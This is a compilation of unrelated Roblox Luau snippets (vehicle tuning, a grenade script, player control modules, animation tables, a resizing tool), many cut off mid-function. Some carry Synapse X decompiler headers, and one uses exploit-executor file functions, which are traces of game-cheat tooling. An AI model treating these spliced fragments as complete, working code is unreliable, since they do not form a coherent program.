export type Task = Instance | RBXScriptConnection | () -> () | {destroy: (any) -> ()} | {Destroy: (any) -> ()} | {Task} local function cleanup(task: Task) local taskType = typeof(task) -- case 1: Instance if taskType == "Instance" then task:Destroy() -- case 2: RBXScriptConnection elseif taskType == "RBXScriptConnection" then task:Disconnect() -- case 3: callback elseif taskType == "function" then task() elseif taskType == "table" then -- case 4: destroy() function if typeof(task.destroy) == "function" then task:destroy() -- case 5: Destroy() function elseif typeof(task.Destroy) == "function" then task:Destroy() -- case 6: array of tasks elseif task[1] ~= nil then for _, subtask in ipairs(task) do cleanup(subtask) end end end end return cleanup
--[[Engine]]
--Torque Curve Tune.Horsepower = 1991 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 1100 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 8250 -- Use sliders to manipulate values Tune.Redline = 8750 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5250 Tune.PeakSharpness = 5.8 Tune.CurveMult = 0.294 --Incline Compensation Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 400 -- RPM acceleration when clutch is off Tune.RevDecay = 300 -- RPM decay when clutch is off Tune.RevBounce = 450 -- RPM kickback from redline Tune.IdleThrottle = 0 -- Percent throttle at idle Tune.ClutchTol = 450 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
-- local SLIDER_FRAMEX = Defaults:WaitForChild("SliderFrameX") -- local SLIDER_FRAMEY = Defaults:WaitForChild("SliderFrameY")
local XBOX_STEP = 0.01 local DEBOUNCE_TICK = 0.1 local XBOX_DEADZONE = 0.35 local THUMBSTICK = Enum.KeyCode.Thumbstick2
-- local BlastPart = Instance.new('Part', game.Workspace) -- BlastPart.FormFactor = 'Custom' -- BlastPart.Size = Vector3.new(1,1,1) -- BlastPart.Transparency = 0.3 -- BlastPart.Anchored = true -- BlastPart.CanCollide = false -- BlastPart.CFrame = CFrame.new(Grenade.Position)*CFrame.Angles(-math.pi/2,0,0) -- local BlastCFrame = CFrame.new(Grenade.Position)*CFrame.Angles(-math.pi/2,0,0) -- local BlastMesh = Instance.new('SpecialMesh', BlastPart) -- BlastMesh.MeshId = 'http://www.roblox.com/asset/?id=1080954' -- BlastMesh.TextureId = 'http://www.roblox.com/asset/?id=37856148' -- game.Debris:AddItem(BlastPart, 10)
Delay(7*0.03, function() local Explosion = Instance.new('Explosion') Explosion.BlastPressure = 0 Explosion.BlastRadius = 12 Explosion.Position = Grenade.Position -- local HitHumanoidMap = {} Explosion.Hit:connect(function(part, rad) if Character and part:IsDescendantOf(Character) then return end local hum = (part.Parent or game):FindFirstChild('Humanoid') if hum and hum.Parent:FindFirstChild('Torso') and not HitHumanoidMap[hum] then HitHumanoidMap[hum] = true hum.Sit = true local tag = GrenadeScript.creator:Clone() tag.Parent = hum game.Debris:AddItem(tag, 2) hum:TakeDamage(150) local twist = Instance.new('BodyAngularVelocity', hum.Parent.Torso) twist.angularvelocity = Vector3.new(10,10,10) local throw = Instance.new('BodyVelocity', hum.Parent.Torso) throw.maxForce = Vector3.new(10000,10000,10000) throw.velocity = (hum.Parent.Torso.Position - Grenade.Position).unit * 40 wait(0.5) twist:Destroy() throw:Destroy() hum.Sit = false end end) -- Explosion.Parent = game.Workspace end) for i = 0, 1, 0.2 do wait() BlastPart.CFrame = CFrame.new(0, math.sqrt(i)*10,0)*BlastCFrame BlastMesh.Scale = Vector3.new(4 + 4*i, 4 + 4*i, 4 + math.sqrt(i)*24) end for i = 0, 1, 0.1 do wait() BlastPart.CFrame = CFrame.new(0,10 - i*i*4,0)*BlastCFrame BlastMesh.Scale = Vector3.new(8 + i*2, 8 + i*2, 28 - i*i*8) BlastPart.Transparency = 0.3 + 0.7*i*i end BlastPart:Destroy() wait(0.5) --and finally get rid of us Grenade:Destroy() end)
-- Adjust the movement of the firefly, allowing them to roam around.
local Fly = script.Parent while true do -- Alter the flies movement direction every once a while to make it roam around Fly.BodyVelocity.velocity = Vector3.new(math.random(-20,20)*0.1,math.random(-20,20)*0.1,math.random(-20,20)*0.1) wait(math.random(10,25)*0.1) end
-- Decompiled with the Synapse X Luau decompiler.
return { Name = "echo", Aliases = { "=" }, Description = "Echoes your text back to you.", Group = "DefaultUtil", Args = { { Type = "string", Name = "Text", Description = "The text." } }, Run = function(p1, p2) return p2; end };
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local v2 = Vector2.new(0, 1); local v3 = Vector2.new(0.1, 0.5); local v4 = Vector2.new(-0.1, 0.5); local l__TweenService__5 = game:GetService("TweenService"); local l__RunService__6 = game:GetService("RunService"); local l__Workspace__7 = game:GetService("Workspace"); local l__LocalPlayer__8 = game:GetService("Players").LocalPlayer; local u1 = Vector2.new(1.5, 1.5); local u2 = false; local u3 = "rbxasset://textures/ui/traildot.png"; local u4 = UDim2.new(0, 42, 0, 50); local u5 = Vector2.new(0, 0.5); local u6 = "rbxasset://textures/ui/waypoint.png"; local u7 = Vector2.new(0, 0.5); local function v9() local v10 = Instance.new("Part"); v10.Size = Vector3.new(1, 1, 1); v10.Anchored = true; v10.CanCollide = false; v10.Name = "TrailDot"; v10.Transparency = 1; local v11 = Instance.new("ImageHandleAdornment"); v11.Name = "TrailDotImage"; v11.Size = u1; v11.SizeRelativeOffset = Vector3.new(0, 0, -0.1); v11.AlwaysOnTop = u2; v11.Image = u3; v11.Adornee = v10; v11.Parent = v10; local v12 = Instance.new("Part"); v12.Size = Vector3.new(2, 2, 2); v12.Anchored = true; v12.CanCollide = false; v12.Name = "EndWaypoint"; v12.Transparency = 1; local v13 = Instance.new("ImageHandleAdornment"); v13.Name = "TrailDotImage"; v13.Size = u1; v13.SizeRelativeOffset = Vector3.new(0, 0, -0.1); v13.AlwaysOnTop = u2; v13.Image = u3; v13.Adornee = v12; v13.Parent = v12; local v14 = Instance.new("BillboardGui"); v14.Name = "EndWaypointBillboard"; v14.Size = u4; v14.LightInfluence = 0; v14.SizeOffset = u5; v14.AlwaysOnTop = true; v14.Adornee = v12; v14.Parent = v12; local v15 = Instance.new("ImageLabel"); v15.Image = u6; v15.BackgroundTransparency = 1; v15.Size = UDim2.new(1, 0, 1, 0); v15.Parent = v14; local v16 = Instance.new("Part"); v16.Size = Vector3.new(2, 2, 2); v16.Anchored = true; v16.CanCollide = false; v16.Name = "FailureWaypoint"; v16.Transparency = 1; local v17 = Instance.new("ImageHandleAdornment"); v17.Name = "TrailDotImage"; v17.Size = u1; v17.SizeRelativeOffset = Vector3.new(0, 0, -0.1); v17.AlwaysOnTop = u2; v17.Image = u3; v17.Adornee = v16; v17.Parent = v16; local v18 = Instance.new("BillboardGui"); v18.Name = "FailureWaypointBillboard"; v18.Size = u4; v18.LightInfluence = 0; v18.SizeOffset = u7; v18.AlwaysOnTop = true; v18.Adornee = v16; v18.Parent = v16; local v19 = Instance.new("Frame"); v19.BackgroundTransparency = 1; v19.Size = UDim2.new(0, 0, 0, 0); v19.Position = UDim2.new(0.5, 0, 1, 0); v19.Parent = v18; local v20 = Instance.new("ImageLabel"); v20.Image = u6; v20.BackgroundTransparency = 1; v20.Position = UDim2.new(0, -u4.X.Offset / 2, 0, -u4.Y.Offset); v20.Size = u4; v20.Parent = v19; return v10, v12, v16; end; local v21, v22, v23 = v9(); local function u8() local l__CurrentCamera__24 = l__Workspace__7.CurrentCamera; local v25 = l__CurrentCamera__24:FindFirstChild("ClickToMoveDisplay"); if not v25 then v25 = Instance.new("Model"); v25.Name = "ClickToMoveDisplay"; v25.Parent = l__CurrentCamera__24; end; return v25; end; local v26 = {}; v26.__index = v26; function v26.Destroy(p1) p1.DisplayModel:Destroy(); end; local u9 = v21; local function u10(p2, p3) local v27, v28, v29 = l__Workspace__7:FindPartOnRayWithIgnoreList(Ray.new(p3 + Vector3.new(0, 2.5, 0), Vector3.new(0, -10, 0)), { l__Workspace__7.CurrentCamera, l__LocalPlayer__8.Character }); if v27 then p2.CFrame = CFrame.new(v28, v28 + v29); p2.Parent = u8(); end; end; function v26.NewDisplayModel(p4, p5) local v30 = u9:Clone(); u10(v30, p5); return v30; end; function v26.new(p6, p7) local v31 = setmetatable({}, v26); v31.DisplayModel = v31:NewDisplayModel(p6); v31.ClosestWayPoint = p7; return v31; end; local v32 = {}; v32.__index = v32; function v32.Destroy(p8) p8.Destroyed = true; p8.Tween:Cancel(); p8.DisplayModel:Destroy(); end; local u11 = v22; function v32.NewDisplayModel(p9, p10) local v33 = u11:Clone(); u10(v33, p10); return v33; end; function v32.CreateTween(p11) local v34 = l__TweenService__5:Create(p11.DisplayModel.EndWaypointBillboard, TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, -1, true), { SizeOffset = v2 }); v34:Play(); return v34; end; function v32.TweenInFrom(p12, p13) p12.DisplayModel.EndWaypointBillboard.StudsOffset = Vector3.new(0, (p13 - p12.DisplayModel.Position).Y, 0); local v35 = l__TweenService__5:Create(p12.DisplayModel.EndWaypointBillboard, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { StudsOffset = Vector3.new(0, 0, 0) }); v35:Play(); return v35; end; function v32.new(p14, p15, p16) local v36 = setmetatable({}, v32); v36.DisplayModel = v36:NewDisplayModel(p14); v36.Destroyed = false; if p16 and (p16 - p14).magnitude > 5 then v36.Tween = v36:TweenInFrom(p16); coroutine.wrap(function() v36.Tween.Completed:Wait(); if not v36.Destroyed then v36.Tween = v36:CreateTween(); end; end)(); else v36.Tween = v36:CreateTween(); end; v36.ClosestWayPoint = p15; return v36; end; local v37 = {}; v37.__index = v37; function v37.Hide(p17) p17.DisplayModel.Parent = nil; end; function v37.Destroy(p18) p18.DisplayModel:Destroy(); end; local u12 = v23; function v37.NewDisplayModel(p19, p20) local v38 = u12:Clone(); u10(v38, p20); local v39, v40, v41 = l__Workspace__7:FindPartOnRayWithIgnoreList(Ray.new(p20 + Vector3.new(0, 2.5, 0), Vector3.new(0, -10, 0)), { l__Workspace__7.CurrentCamera, l__LocalPlayer__8.Character }); if v39 then v38.CFrame = CFrame.new(v40, v40 + v41); v38.Parent = u8(); end; return v38; end; function v37.RunFailureTween(p21) wait(0.125); local v42 = TweenInfo.new(0.0625, Enum.EasingStyle.Sine, Enum.EasingDirection.Out); local v43 = l__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard, v42, { SizeOffset = v3 }); v43:Play(); l__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard.Frame, v42, { Rotation = 10 }):Play(); v43.Completed:wait(); local v44 = l__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard, TweenInfo.new(0.125, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 3, true), { SizeOffset = v4 }); v44:Play(); local v45 = TweenInfo.new(0.125, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 3, true); l__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard.Frame.ImageLabel, v45, { ImageColor3 = Color3.new(0.75, 0.75, 0.75) }):Play(); l__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard.Frame, v45, { Rotation = -10 }):Play(); v44.Completed:wait(); local v46 = TweenInfo.new(0.0625, Enum.EasingStyle.Sine, Enum.EasingDirection.Out); local v47 = l__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard, v46, { SizeOffset = u7 }); v47:Play(); l__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard.Frame, v46, { Rotation = 0 }):Play(); v47.Completed:wait(); wait(0.125); end; function v37.new(p22) local v48 = setmetatable({}, v37); v48.DisplayModel = v48:NewDisplayModel(p22); return v48; end; local v49 = Instance.new("Animation"); v49.AnimationId = "rbxassetid://2874840706"; local u13 = nil; local u14 = 0; local function u15(p23, p24) local v50 = {}; local v51 = 1; for v52 = 1, #p23 - 1 do local v53 = false; if v52 % 2 == 0 then v53 = not ((p23[v52].Position - p23[#p23].Position).magnitude < 3); end; if v53 then v50[v51] = v26.new(p23[v52].Position, v52); v51 = v51 + 1; end; end; table.insert(v50, (v32.new(p23[#p23].Position, #p23, p24))); local v54 = {}; local v55 = 1; for v56 = #v50, 1, -1 do v54[v55] = v50[v56]; v55 = v55 + 1; end; return v54; end; local function u16(p25, p26) return p26 * (1 + 1.5 * (math.clamp(p25 - 10, 0, 90) / 90)); end; function v1.CreatePathDisplay(p27, p28) u14 = u14 + 1; local u17 = u15(p27, p28); local u18 = "ClickToMoveResizeTrail" .. u14; l__RunService__6:BindToRenderStep(u18, Enum.RenderPriority.Camera.Value - 1, function() if #u17 == 0 then l__RunService__6:UnbindFromRenderStep(u18); return; end; local l__p__57 = l__Workspace__7.CurrentCamera.CFrame.p; for v58 = 1, #u17 do local l__TrailDotImage__59 = u17[v58].DisplayModel:FindFirstChild("TrailDotImage"); if l__TrailDotImage__59 then l__TrailDotImage__59.Size = u16((u17[v58].DisplayModel.Position - l__p__57).magnitude, u1); end; end; end); local function u19(p29) for v60 = #u17, 1, -1 do local v61 = u17[v60]; if not (v61.ClosestWayPoint <= p29) then break; end; v61:Destroy(); u17[v60] = nil; end; end; return function() u19(#p27); end, u19; end; local u20 = nil; function v1.DisplayFailureWaypoint(p30) if u20 then u20:Hide(); end; local v62 = v37.new(p30); u20 = v62; local u21 = v62; coroutine.wrap(function() u21:RunFailureTween(); u21:Destroy(); u21 = nil; end)(); end; function v1.CreateEndWaypoint(p31) return v32.new(p31); end; local function u22() local l__Character__63 = l__LocalPlayer__8.Character; if not l__Character__63 then return; end; return l__Character__63:FindFirstChildOfClass("Humanoid"); end; local function u23(p32) if p32 == nil then return u13; end; u13 = p32:LoadAnimation(v49); u13.Priority = Enum.AnimationPriority.Action; u13.Looped = false; return u13; end; function v1.PlayFailureAnimation() local v64 = u22(); if v64 then u23(v64):Play(); end; end; function v1.CancelFailureAnimation() if u13 ~= nil and u13.IsPlaying then u13:Stop(); end; end; function v1.SetWaypointTexture(p33) u3 = p33; local v65, v66, v67 = v9(); u9 = v65; u11 = v66; u12 = v67; end; function v1.GetWaypointTexture() return u3; end; function v1.SetWaypointRadius(p34) u1 = Vector2.new(p34, p34); local v68, v69, v70 = v9(); u9 = v68; u11 = v69; u12 = v70; end; function v1.GetWaypointRadius() return u1.X; end; function v1.SetEndWaypointTexture(p35) u6 = p35; local v71, v72, v73 = v9(); u9 = v71; u11 = v72; u12 = v73; end; function v1.GetEndWaypointTexture() return u6; end; function v1.SetWaypointsAlwaysOnTop(p36) u2 = p36; local v74, v75, v76 = v9(); u9 = v74; u11 = v75; u12 = v76; end; function v1.GetWaypointsAlwaysOnTop() return u2; end; return v1;
--ClickDetector.MouseClick:Connect(function(player) --local clonedObject = object:Clone() --clonedObject.Parent = game.Workspace.Clones --end)
while wait(1) do local clonedObject = object:Clone() clonedObject.Parent = game.Workspace.Clones end
--------------- -- Variables -- ---------------
local RunService = game:GetService('RunService') local PlayersService = game:GetService('Players') local Player = PlayersService.LocalPlayer local Camera = nil local Character = nil local Torso = nil local Mode = nil local Behaviors = {} -- Map of modes to behavior fns local SavedHits = {} -- Objects currently being faded in/out local TrackedLimbs = {} -- Used in limb-tracking casting modes
-- This function should handle all controller enabling and disabling without relying on -- ControlModule:Enable() and Disable()
function ControlModule:SwitchToController(controlModule) -- controlModule is invalid, just disable current controller if not controlModule then if self.activeController then self.activeController:Enable(false) end self.activeController = nil self.activeControlModule = nil return end -- first time switching to this control module, should instantiate it if not self.controllers[controlModule] then self.controllers[controlModule] = controlModule.new(CONTROL_ACTION_PRIORITY) end -- switch to the new controlModule if self.activeController ~= self.controllers[controlModule] then if self.activeController then self.activeController:Enable(false) end self.activeController = self.controllers[controlModule] self.activeControlModule = controlModule -- Only used to check if controller switch is necessary if self.touchControlFrame and (self.activeControlModule == ClickToMove or self.activeControlModule == TouchThumbstick or self.activeControlModule == DynamicThumbstick) then if not self.controllers[TouchJump] then self.controllers[TouchJump] = TouchJump.new() end self.touchJumpController = self.controllers[TouchJump] self.touchJumpController:Enable(true, self.touchControlFrame) else if self.touchJumpController then self.touchJumpController:Enable(false) end end self:UpdateActiveControlModuleEnabled() end end function ControlModule:OnLastInputTypeChanged(newLastInputType) if lastInputType == newLastInputType then warn("LastInputType Change listener called with current type.") end lastInputType = newLastInputType if lastInputType == Enum.UserInputType.Touch then -- TODO: Check if touch module already active local touchModule, success = self:SelectTouchModule() if success then while not self.touchControlFrame do wait() end self:SwitchToController(touchModule) end elseif computerInputTypeToModuleMap[lastInputType] ~= nil then local computerModule = self:SelectComputerMovementModule() if computerModule then self:SwitchToController(computerModule) end end self:UpdateTouchGuiVisibility() end
--Aesthetics (PGS ONLY)
Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Black" -- Suspension Color [BrickColor] Tune.SusCoilCount = 8 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--[[ PlayerModule - This module requires and instantiates the camera and control modules, and provides getters for developers to access methods on these singletons without having to modify Roblox-supplied scripts. 2018 PlayerScripts Update - AllYourBlox --]]
local PlayerModule = {} PlayerModule.__index = PlayerModule function PlayerModule.new() local self = setmetatable({},PlayerModule) self.cameras = require(script:WaitForChild("CameraModule")) self.controls = require(script:WaitForChild("ControlModule")) return self end function PlayerModule:GetCameras() return self.cameras end function PlayerModule:GetControls() return self.controls end return PlayerModule.new()
---------------------------------------------------------------
function onChildAdded(child) if child.Name == "SeatWeld" then local human = child.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then print("Human IN") seat.SirenControl.CarName.Value = human.Parent.Name.."'s Car" seat.Parent.Name = human.Parent.Name.."'s Car" s.Parent.SirenControl:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui end end end function onChildRemoved(child) if (child.Name == "SeatWeld") then local human = child.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then print("Human OUT") seat.Parent.Name = "Empty Car" seat.SirenControl.CarName.Value = "Empty Car" game.Players:findFirstChild(human.Parent.Name).PlayerGui.SirenControl:remove() end end end script.Parent.ChildAdded:connect(onChildAdded) script.Parent.ChildRemoved:connect(onChildRemoved)
--{ id = "slash.xml", weight = 10 }
}, toollunge = { { id = "http://www.roblox.com/asset/?id=0", weight = 10 } }, wave = { { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 } }, point = { { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 } }, dance1 = { { id = "http://www.roblox.com/asset/?id=182435998", weight = 10 }, { id = "http://www.roblox.com/asset/?id=182491037", weight = 10 }, { id = "http://www.roblox.com/asset/?id=182491065", weight = 10 } }, dance2 = { { id = "http://www.roblox.com/asset/?id=182436842", weight = 10 }, { id = "http://www.roblox.com/asset/?id=182491248", weight = 10 }, { id = "http://www.roblox.com/asset/?id=182491277", weight = 10 } }, dance3 = { { id = "http://www.roblox.com/asset/?id=182436935", weight = 10 }, { id = "http://www.roblox.com/asset/?id=182491368", weight = 10 }, { id = "http://www.roblox.com/asset/?id=182491423", weight = 10 } }, laugh = { { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 } }, cheer = { { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 } }, } local dances = {"dance1", "dance2", "dance3"}
------------------------------------------------------- -- изменение размера фрейма под экран
me = script.Parent local CurrentCamera=workspace.CurrentCamera local sizY = CurrentCamera.ViewportSize.Y - 120 me.Visible=true me.Size = UDim2.new(0.9,0,0,sizY)
--[[ Exits the view, including disconnection of any connections. ]]
function Dead.exit() activeElements:Destroy() end return Dead
-- RbxApi Stuff
local apiUrl = "http://anaminus.github.io/rbx/json/api/latest.json" local maxChunkSize = 100 * 1000 local ApiJson if script:FindFirstChild("RawApiJson") then ApiJson = script.RawApiJson else ApiJson = "" end function getLocalApiJson() local rawApiJson = require(ApiJson)() return rawApiJson end function getCurrentApiJson() local jsonStr = nil if readfile and getelysianpath then if readfile(getelysianpath().."Xpl0rerApi.txt") then print("Api found in folder!") jsonStr = readfile(getelysianpath().."Xpl0rerApi.txt") return jsonStr end end local success, err = pcall(function() jsonStr = httpGet(apiUrl) print("Fetched json successfully") end) if success then print("Returning json") --print(jsonStr:sub(1,500)) return jsonStr else print("Error fetching json: " .. tostring(err)) print("Falling back to local copy") return getLocalApiJson() end end function splitStringIntoChunks(jsonStr) -- Splits up a string into a table with a given size local t = {} for i = 1, math.ceil(string.len(jsonStr)/maxChunkSize) do local str = jsonStr:sub((i-1)*maxChunkSize+1, i*maxChunkSize) table.insert(t, str) end return t end local jsonToParse = getCurrentApiJson() local apiChunks = splitStringIntoChunks(jsonToParse) function getRbxApi()
--// Connections
L_1_.Equipped:connect(function() local L_57_ = L_3_:FindFirstChild('Torso') local L_58_ = L_3_:FindFirstChild('Head') local L_59_ = L_3_:FindFirstChild('HumanoidRootPart') L_17_ = Instance.new("Motor6D", L_57_) L_17_.Parent = L_57_ L_17_.Name = "Clone" L_17_.Part0 = L_59_ L_17_.Part1 = L_58_ L_17_.C0 = L_57_:WaitForChild("Neck").C0 L_17_.C1 = L_57_:WaitForChild("Neck").C1
-- Finalize changes to parts when the handle is let go
Support.AddUserInputListener('Ended', 'MouseButton1', true, function (Input) -- Ensure handle resizing is ongoing if not HandleResizing then return; end; -- Disable resizing HandleResizing = false; -- Prevent selection Core.Targeting.CancelSelecting(); -- Clear this connection to prevent it from firing again ClearConnection 'HandleRelease'; -- Make joints, restore original anchor and collision states for Part, State in pairs(InitialState) do Part:MakeJoints(); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); end); function HideHandles() -- Hides the resizing handles -- Make sure handles exist and are visible if not Handles or not Handles.Visible then return; end; -- Hide the handles Handles.Visible = false; Handles.Parent = nil; -- Clear unnecessary resources ClearConnection 'AutofocusHandle'; end; function ResizePartsByFace(Face, Distance, Directions, InitialStates) -- Resizes the selection on face `Face` by `Distance` studs, in the given `Directions` -- Adjust the size increment to the resizing direction mode if Directions == 'Both' then Distance = Distance * 2; end; -- Calculate the increment vector for this resizing local AxisSizeMultiplier = AxisSizeMultipliers[Face]; local IncrementVector = Distance * AxisSizeMultiplier; -- Get name of axis the resize will occur on local AxisName = FaceAxisNames[Face]; -- Check for any potential undersizing or oversizing local ShortestSize, ShortestPart, LongestSize, LongestPart; for Part, InitialState in pairs(InitialStates) do -- Calculate target size for this resize local TargetSize = InitialState.Size[AxisName] + Distance; -- If target size is under 0.05, note if it's the shortest size if TargetSize < 0.049999 and (not ShortestSize or (ShortestSize and TargetSize < ShortestSize)) then ShortestSize, ShortestPart = TargetSize, Part; -- If target size is over 2048, note if it's the longest size elseif TargetSize > 2048 and (not LongestSize or (LongestSize and TargetSize > LongestSize)) then LongestSize, LongestPart = TargetSize, Part; end; end; -- Return adjustment for undersized parts (snap to lowest possible valid increment multiple) if ShortestSize then local InitialSize = InitialStates[ShortestPart].Size[AxisName]; local TargetSize = InitialSize - ResizeTool.Increment * tonumber((tostring((InitialSize - 0.05) / ResizeTool.Increment):gsub('%..+', ''))); return false, Distance + TargetSize - ShortestSize; end; -- Return adjustment for oversized parts (snap to highest possible valid increment multiple) if LongestSize then local TargetSize = ResizeTool.Increment * tonumber((tostring(2048 / ResizeTool.Increment):gsub('%..+', ''))); return false, Distance + TargetSize - LongestSize; end; -- Resize each part for Part, InitialState in pairs(InitialStates) do -- Perform the size change depending on shape if Part:IsA 'Part' then -- Resize spheres on all axes if Part.Shape == Enum.PartType.Ball then Part.Size = InitialState.Size + Vector3.new(Distance, Distance, Distance); -- Resize cylinders on both Y & Z axes for circle sides elseif Part.Shape == Enum.PartType.Cylinder and AxisName ~= 'X' then Part.Size = InitialState.Size + Vector3.new(0, Distance, Distance); -- Resize block parts and cylinder lengths normally else Part.Size = InitialState.Size + IncrementVector; end; -- Perform the size change normally on all other parts else Part.Size = InitialState.Size + IncrementVector; end; -- Offset the part when resizing in the normal, one direction if Directions == 'Normal' then Part.CFrame = InitialState.CFrame * CFrame.new(AxisPositioningMultipliers[Face] * Distance / 2); -- Keep the part centered when resizing in both directions elseif Directions == 'Both' then Part.CFrame = InitialState.CFrame; end; end; -- Indicate that the resizing happened successfully return true; end; function BindShortcutKeys() -- Enables useful shortcut keys for this tool -- Track user input while this tool is equipped table.insert(Connections, UserInputService.InputBegan:connect(function (InputInfo, GameProcessedEvent) -- Make sure this is an intentional event if GameProcessedEvent then return; end; -- Make sure this input is a key press if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then return; end; -- Make sure it wasn't pressed while typing if UserInputService:GetFocusedTextBox() then return; end; -- Check if the enter key was pressed if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then -- Toggle the current directions mode if ResizeTool.Directions == 'Normal' then SetDirections('Both'); elseif ResizeTool.Directions == 'Both' then SetDirections('Normal'); end; -- Check if the - key was pressed elseif InputInfo.KeyCode == Enum.KeyCode.Minus or InputInfo.KeyCode == Enum.KeyCode.KeypadMinus then -- Focus on the increment input if ResizeTool.UI then ResizeTool.UI.IncrementOption.Increment.TextBox:CaptureFocus(); end; -- Nudge up if the 8 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then NudgeSelectionByFace(Enum.NormalId.Top); -- Nudge down if the 2 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadTwo then NudgeSelectionByFace(Enum.NormalId.Bottom); -- Nudge forward if the 9 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then NudgeSelectionByFace(Enum.NormalId.Front); -- Nudge backward if the 1 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then NudgeSelectionByFace(Enum.NormalId.Back); -- Nudge left if the 4 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then NudgeSelectionByFace(Enum.NormalId.Left); -- Nudge right if the 6 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then NudgeSelectionByFace(Enum.NormalId.Right); -- Start snapping when the R key is pressed down, and it's not the selection clearing hotkey elseif InputInfo.KeyCode == Enum.KeyCode.R and not Selection.Multiselecting then StartSnapping(); end; end)); -- Track ending user input while this tool is equipped table.insert(Connections, UserInputService.InputEnded:connect(function (InputInfo, GameProcessedEvent) -- Make sure this is an intentional event if GameProcessedEvent then return; end; -- Make sure this is input from the keyboard if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then return; end; -- Make sure it wasn't pressed while typing if UserInputService:GetFocusedTextBox() then return; end; -- Finish snapping when the R key is released, and it's not the selection clearing hotkey if InputInfo.KeyCode == Enum.KeyCode.R and not Selection.Multiselecting then FinishSnapping(); end; end)); end; function SetAxisSize(Axis, Size) -- Sets the selection's size on axis `Axis` to `Size` -- Track this change TrackChange(); -- Prepare parts to be resized local InitialStates = PreparePartsForResizing(); -- Update each part for Part, InitialState in pairs(InitialStates) do -- Set the part's new size Part.Size = Vector3.new( Axis == 'X' and Size or Part.Size.X, Axis == 'Y' and Size or Part.Size.Y, Axis == 'Z' and Size or Part.Size.Z ); -- Keep the part in place Part.CFrame = InitialState.CFrame; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Items), Core.Player); -- Revert changes if player is not authorized to resize parts towards the end destination if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Items, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialStates) do Part.Size = State.Size; Part.CFrame = State.CFrame; end; end; -- Restore the parts' original states for Part, State in pairs(InitialStates) do Part:MakeJoints(); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); end; function NudgeSelectionByFace(Face) -- Nudges the size of the selection in the direction of the given face -- Get amount to nudge by local NudgeAmount = ResizeTool.Increment; -- Reverse nudge amount if shift key is held while nudging local PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode')); if PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then NudgeAmount = -NudgeAmount; end; -- Track this change TrackChange(); -- Prepare parts to be resized local InitialState = PreparePartsForResizing(); -- Perform the resizing local Success, Adjustment = ResizePartsByFace(Face, NudgeAmount, ResizeTool.Directions, InitialState); -- If the resizing did not succeed, resize according to the suggested adjustment if not Success then ResizePartsByFace(Face, Adjustment, ResizeTool.Directions, InitialState); end; -- Update "studs resized" indicator if ResizeTool.UI then ResizeTool.UI.Changes.Text.Text = 'resized ' .. Support.Round(Adjustment or NudgeAmount, 3) .. ' studs'; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Items), Core.Player); -- Revert changes if player is not authorized to resize parts towards the end destination if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Items, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialState) do Part.Size = State.Size; Part.CFrame = State.CFrame; end; end; -- Restore the parts' original states for Part, State in pairs(InitialState) do Part:MakeJoints(); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); end; function TrackChange() -- Start the record HistoryRecord = { Parts = Support.CloneTable(Selection.Items); BeforeSize = {}; AfterSize = {}; BeforeCFrame = {}; AfterCFrame = {}; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Record.Parts); -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part, Size = Record.BeforeSize[Part], CFrame = Record.BeforeCFrame[Part] }); end; -- Send the change 